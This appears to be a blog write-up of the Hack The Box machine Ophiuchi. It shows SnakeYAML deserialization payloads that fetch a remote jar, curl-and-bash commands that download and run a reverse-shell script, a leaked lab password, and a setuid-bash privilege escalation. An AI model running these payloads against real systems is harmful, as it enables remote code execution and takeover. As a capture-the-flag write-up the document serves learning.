Adventures with Bits

Ophiuchi - HTB


image

Let's start with nmap simple scan to find open ports, nmap results shows port 22 (SSH) and port 8080 (HTTP) is opened. from the nmap result the machine is running ubuntu and Apache Tomcat 9.0.38 in port 8080.

image

Let's start with port 8080 which is seems to be interesting, navigating to port 8080 presented with 'Online YAML Parser' .

image

I have checked the source code but nothing interesting there, and 'Need support?' link is not redirecting to any pages. at this point there is two options to check, Apache Tomcat 9.0.38 vulnerabilities and YAML Parser. initially checking publicly available exploits & vulnerabilities for the Apache Tomcat version 9.0.38 does not provided anything interesting to try. testing YAML Parser with characters returned internal server error of snakeyaml parser.

image

By looking at the error it is obvious that it is possible to exploit SnakeYaml insecure deserialization. following resources will provide step by step methods to exploit the vulnerability.

https://github.com/mbechler/marshalsec
https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/
https://github.com/artsploit/yaml-payload

This is very interesting vulnerability; the article of 'Man Yue Mo' explained the vulnerability in detail. CVE-2017-1000207 and CVE-2017-1000208 vulnerabilities comes under 'Deserialization of Untrusted Data', CWE-ID 502. Swagger is the world’s largest framework of API developer tools for the OpenAPI Specification (OAS). Swagger Codegen enables users to automatically generate server and client side REST API code in multiple languages, through a format called Open API definition. The vulnerability in Swagger is actually caused by unsafe use of SnakeYaml. vulnerability resides under feature of SnakeYaml that it's support for a special syntax that allows the constructor of any Java class to be called when parsing YAML data. For example, consider the following piece of Java code that uses SnakeYaml to parse a string in the malicious variable.
				      	
String malicious = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader "
+ "[[!!java.net.URL [\"http://attacker.com\"]]]]";
Yaml yaml = new Yaml();            // Unsafe instance of Yaml that allows any constructor to be called.
Object obj = yaml.load(malicious); // Make request to http://attacker.com


Based on the vulnerability, it is possible to make request to my server to download and execute jar file to get reverse shell from the machine. using the below piece of java code i can make request to my server.
                       

!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.73:8000/yaml-payload.jar"]
]]
] 


To upload a reverse shell and to execute i used the artsploit github repository yaml-payload generator code with added exec commands. ( https://github.com/artsploit/yaml-payload/tree/master/src/artsploit )
                        


Runtime.getRuntime().exec("curl http://10.10.14.73:8000/file.sh -o /tmp/file.sh");
Runtime.getRuntime().exec("bash /tmp/file.sh");



image



image


The generated 'yaml-payload.jar' file, hosted in my local simple python server, has been downloaded and executed by the parser, therefore i got the reverse connection. to get successful reverse connection i just uploaded the payload twice to the parser.

image



image

I got reverse connection as tomcat; I found admin in home directory; to get user.txt need to escalate privileges or find credentials to log in. as i already said in my previous write-ups before trying privilege escalation, just enumerate the files and directories, there is a chance to find credentials from configuration files, log files and etc. checking application directories usually will give something to further move on. upon checking '/opt/tomcat/conf' directory the 'tomcat-users.xml' file exposed admin user password in plain text. here after i can use the admin password to initiate SSH connection to the admin account. using 'whythereisalimit' as password i was able to log in to the admin account and i got the user.txt.

image

image

The file '/opt/wasm-functions/index.go' can be run with root privileges!, to further move on, it is required to check the file index.go and it contains the below code.
				      	

package main

import (
 "fmt"
 wasm "github.com/wasmerio/wasmer-go/wasmer"
 "os/exec"
 "log"
)


func main() {
 bytes, _ := wasm.ReadBytes("main.wasm")

 instance, _ := wasm.NewInstance(bytes)
 defer instance.Close()
 init := instance.Exports["info"]
 result,_ := init()
 f := result.String()
 if (f != "1") {
  fmt.Println("Not ready to deploy")
 } else {
  fmt.Println("Ready to deploy")
  out, err := exec.Command("/bin/sh", "deploy.sh").Output()
  if err != nil {
   log.Fatal(err)
  }
  fmt.Println(string(out))
 }
}



By analyzing the file, initially the go script importing the wasmer; Wasmer is a fast and secure WebAssembly runtime that enables super lightweight containers to run anywhere. WebAssembly (abbreviated Wasm) is a binary instruction format for a stack-based virtual machine. it provides a way to run code written in multiple languages on the web at near-native speed, with client apps running on the web that previously couldn’t have done so. the script is checking main.wasm file 'f' variable, if it is equals to '1' then it is executing '/bin/sh deploy.sh', another important thing is path is not defined for the files deploy.sh and main.wasm so it is possible to manipulate these files and get root on the machine. by using https://github.com/webassembly/wabt this tool i can convert wasm file to wat file to edit the variable. i edited the f variable constant (i32.const 0 to i32.const 1) value of 0 to 1, and converted back to wasm file.

image


I uploaded the modified file to tmp directory in the machine and executed the 'sudo /usr/bin/go run /opt/wasm-functions/index.go', there after i created deploy.sh file in the same directory with 'chmod +s /bin/bash' to change bash with setuid permission. again running 'sudo /usr/bin/go run /opt/wasm-functions/index.go' and 'bash -p' i got the root !.

image

image